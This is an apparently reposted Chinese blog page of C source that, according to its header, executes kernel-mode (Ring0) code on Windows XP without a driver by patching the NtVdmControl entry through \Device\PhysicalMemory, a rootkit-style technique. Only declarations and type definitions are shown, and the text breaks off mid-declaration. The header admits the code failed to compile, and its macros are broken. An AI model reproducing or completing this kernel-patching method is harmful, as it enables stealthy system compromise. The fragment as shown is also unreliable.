演示无驱动执行Ring0代码(C++) (转)

/********************************************************************

 

      : 演示无驱动执行Ring0代码

  创建时间:

      : Ring0Demo.c v1.0 by zzzEVAzzz

      :

      : 演示无驱动执行Ring0代码

      : 通过/Device/PhysicalMemory修改NtVdmControl入口,跳转到Ring0Code

           

      :

  最后修改:

 

      : hengai

  编译环境: VC6 + WindowsXP 未能通过编译

      

*********************************************************************/

 

#include "StdAfx.h"

#include <Windows.h>

#include <Ntsecapi.h>

#include <Aclapi.h>

 

#pragma comment (lib,"ntdll.lib")       // Copy From DDK

#pragma comment (lib,"Kernel32.lib")

#pragma comment (lib,"Advapi32.lib")

 

 

//------------------ 数据类型声明开始 --------------------//

typedef struct _SYSTEM_MODULE_INFORMATION {

  ULONG Reserved[2];

  PVOID Base;

  ULONG Size;

  ULONG Flags;

  USHORT Index;

  USHORT Unknown;

  USHORT LoadCount;

  USHORT ModuleNameOffset;

  CHAR ImageName[256];

} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

 

typedef struct _OBJECT_ATTRIBUTES {

  ULONG Length;

  HANDLE RootDirectory;

  PUNICODE_STRING ObjectName;

  ULONG Attributes;

  PVOID SecurityDescriptor;

  PVOID SecurityQualityOfService;

} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;

 

typedef enum _SECTION_INHERIT {

  ViewShare = 1,

    ViewUnmap = 2

} SECTION_INHERIT;

 

typedef struct _MY_PROCESS_INFO {

  ULONG PID;

  ULONG KPEB;

  ULONG CR3;

  CHAR Name[16];

  ULONG Reserved;

} MY_PROCESS_INFO, *PMY_PROCESS_INFO;

 

typedef long NTSTATUS;

//------------------ 数据类型声明结束 --------------------//

 

//--------------------- 预定义开始 -----------------------//

#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)

#define STATUS_SUCCESS              0x00000000

#define STATUS_UNSUCCESSFUL         0xC0000001

#define STATUS_NOT_IMPLEMENTED      0xC0000002

#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004

#define STATUS_INVALID_PARAMETER    0xC000000D

#define STATUS_ACCESS_DENIED        0xC0000022

#define STATUS_BUFFER_TOO_SMALL     0xC0000023

#define OBJ_KERNEL_HANDLE           0x00000200

#define SystemModuleInformation     11

 

#define InitializeObjectAttributes( p, n, a, r, s ) { /

(p)->Length = sizeof( OBJECT_ATTRIBUTES );         /

(p)->RootDirectory = r;                            /

(p)->Attributes = a;                               /

(p)->ObjectName = n;                               /

(p)->SecurityDescriptor = s;                       /

(p)->SecurityQualityOfService = NULL;              /

}

//--------------------- 预定义结束 -----------------------//

 

//------------------ Native API声明开始 ------------------//

NTSYSAPI

VOID

NTAPI

RtlInitUnicodeString(

                     PUNICODE_STRING DestinationString,

                     PCWSTR SourceString

                     );

 

NTSYSAPI

NTSTATUS

NTAPI

ZwQuerySystemInformation(

                         ULONG SystemInformationClass,

                         PVOID SystemInformation,

                         ULONG SystemInformationLength,

                         PULONG ReturnLength

                         );

 

NTSYSAPI

NTSTATUS

NTAPI

ZwOpenSection(

              OUT PHANDLE SectionHandle,

              IN ACCESS_MASK DesiredAccess,

              IN POBJECT_ATTRIBUTES ObjectAttributes

              );

 

NTSYSAPI

NTSTATUS

NTAPI

ZwMapViewOfSection(

                   IN HANDLE SectionHandle,

                   IN HANDLE ProcessHandle,

                   IN OUT PVOID *BaseAddress,

                   IN ULONG ZeroBits,

                   IN ULONG CommitSize,

                   IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,

                   IN OUT PULONG ViewSize,

                   IN %

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值